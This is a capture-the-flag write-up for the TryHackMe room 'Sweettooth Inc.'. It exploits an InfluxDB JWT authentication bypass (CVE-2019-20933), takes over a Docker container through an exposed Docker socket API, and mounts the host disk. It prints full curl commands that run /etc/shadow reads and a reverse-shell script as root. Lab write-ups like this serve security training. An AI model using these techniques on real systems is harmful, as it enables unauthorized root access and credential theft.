tryhackme - Sweettooth Inc.

Table of Contents
Room: Sweettooth Inc.
Difficulty: Medium
Task 1 Deploy the machine!
Task 1.1 - Start the machine and wait 5 minutes for it to startup.
No Answer Needed
Task 2 Enumeration
Task 2.1 - Do a TCP portscan. What is the name of the database software running on one of these ports?
Let’s do our good old nmap
scan for top ports (nmap -T4 -sC -sV <IP>
):
We have a http based database service running on port 8086, lets visit it and start our enumeration from there.
OK, it looks like we can’t access it on /
, the database might have some endpoint set to listen on.
Task 3 Database exploration and user flag
Task 3.1 - What is the database user you find?
This is the first time I came to know this database, let’s read about influxDB 1.3 and its CLI.
At first I was trying to install influxDB CLI but after some reading I came to know that we can simply use curl
command to interact with the databases using it’s REST API.
- https://community.influxdata.com/t/access-influxdb-from-remote-client/3567/3
- https://docs.influxdata.com/influxdb/v1.3/tools/api/
The first endpoint listed in this document is /debug/requests
, lets access it using curl
.
Accessing the database via API using curl
:
It looks the query returned a username, that’s good, let’s use that to query the database with some default passwords like ‘root’, ‘admin’, ‘password’:
Looks like it won’t be that easy, we need a password to get authorized.
Task 3.2 - What was the temperature of the water tank at 1621346400 (UTC Unix Timestamp)?
It’s time to google (In search of CVE):
It looks like we got something juicy, let’s dig in:
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-20933
- https://www.programmersought.com/article/99766721148/
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
Let’s follow the steps mentioned in the artical above.
Now, let’s create a JWT using jwt.io:
Let’s create an API request to get users (and put the JWT in the request header):
Good, we got a list of databases we can access:
Let’s look at the syntax of the influx database:
- https://docs.influxdata.com/influxdb/v1.3/query_language/spec/#queries
- https://docs.influxdata.com/influxdb/v1.3/guides/querying_data/
I am glad that the syntax of influxDB’s is quite familier to that of SQLDB (and I am quite familier with SQLDB).
Let’s query “tanks” database:
We see that ‘water_tank’ has 3 columns: time,filling_height, and temprature, let’s select all from the table:
Let’s query the database with the time mentioned in the task:
The query mentioned above didn’t worked for some reason so I removed the WHERE "time"=1621346400"
part from the end, and manually looked for the answer.
Task 3.3 - What is the highest rpm the motor of the mixer reached?
Now, getting the answer to this and the next task is easy, just construct select
queries and query the DB.
Task 3.4 - What username do you find in one of the databases?
Task 3.5 - user.txt
Let’s try to ssh into the box with the credentials we found in database:
Task 4 Privilege escalation
Task 4.1 - /root/root.txt
The username and some files/directories indicates that this is a docker container:
Let’s examine these bash files we found at /
.
entrypoint.sh:
- If we were able to run entrypoint.sh with root permissions we could get root but we can’t use
sudo
because we don’t havesudo
:) - initializeandquery.sh contained the following line which means that docker socket is being exposed on port 8080:
If we run ps aux
, we can see that the both of these executable files ran by root, which means that the docker socket is exposed under root with read and write permissions and can be accessed on port 8080.
Found stackoverflow docker sock on google, and after some more googling I came to know that docker.sock shouldn’t be exposed, which in this case is, let’s find some way to exploit this and get root:
- Searched for “exposed docker socket privesc” on google
- I read and followed steps from this blog to execute commands on the container as root, and used this cheatsheet to get familier with the syntax of
curl
command to interact with REST API (to interact with the docker daemon) using exposed docker socket.
Let’s follow the steps mentioned in the artical above, first let’s get the ID of the container:
- Here are some commands to get information on docker version, available images and containers from docker socket.
curl -s http://localhost:8080/version
curl http://localhost:8080/images/json
curl http://localhost:8080/containers/json
Let’s run these and find the container Id:
Put the container Id into the curl
command to create an exec for cat /etc/shadow
:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/shadow"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost:8080/containers/e9b960f3e30c8e3503969da4ed2856782570e7b965bd81f002700e6687b1fa7b/exec
Copy the exec Id from the output of the previous command and use that in the next command:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://localhost:8080/exec/0455788b3b41db19aa6c1e96108dcb9a041d5a66d2dece6df42642c06704833b/start
Cool, we can run commands as root.
Let’s Escalate to root:
I have created a bash script in /tmp
directory to get a reverse shell as root:
Let’s create an exec for chmod +x /tmp/revshell.sh
:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["chmod", "+x", "/tmp/revshell.sh"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost:8080/containers/e9b960f3e30c8e3503969da4ed2856782570e7b965bd81f002700e6687b1fa7b/exec
revshell.sh has now executable bit set:
Now, let’s execute the reverse shell /bin/bash -c /tmp/revshell.sh
:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["/bin/bash", "-c", "/tmp/revshell.sh"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://localhost:8080/containers/e9b960f3e30c8e3503969da4ed2856782570e7b965bd81f002700e6687b1fa7b/exec
And here we catch our shell:
Boom! We got root on the docker container.
Task 5 Escape!
Task 5.1 - The second /root/root.txt
Let’s run fdisk
to see if we have any partition to mount:
hmmmm! It looks like ‘/dev/xvda1’ might be host partition, let’s mount it:
Wooohoooo! There we have our root flag on host.
Task 6 Credits
Task 6.1 - This is a room by ripcurlz and ms.geeky. We hope you enjoyed it :)
No Answer Needed
Resources
1. Influxdb (DB, CLI, API)
- https://docs.influxdata.com/influxdb/v1.3/
- https://docs.influxdata.com/influxdb/v1.3/tools/shell/
- https://community.influxdata.com/t/access-influxdb-from-remote-client/3567/3
- https://docs.influxdata.com/influxdb/v1.3/tools/api/
2. Influxdb CVE
- https://vulmon.com/vulnerabilitydetails?qid=CVE-2019-20933
- https://www.programmersought.com/article/99766721148/
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
3. JWT
4. Influxdb query and API syntax
- https://docs.influxdata.com/influxdb/v1.3/query_language/spec/#queries
- https://docs.influxdata.com/influxdb/v1.3/guides/querying_data/
5. Docker socket
6. Privelege Escalation using docker socket
- https://dejandayoff.com/the-danger-of-exposing-docker.sock/
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket
I hope you enjoyed reading this, happy hacking. 🔥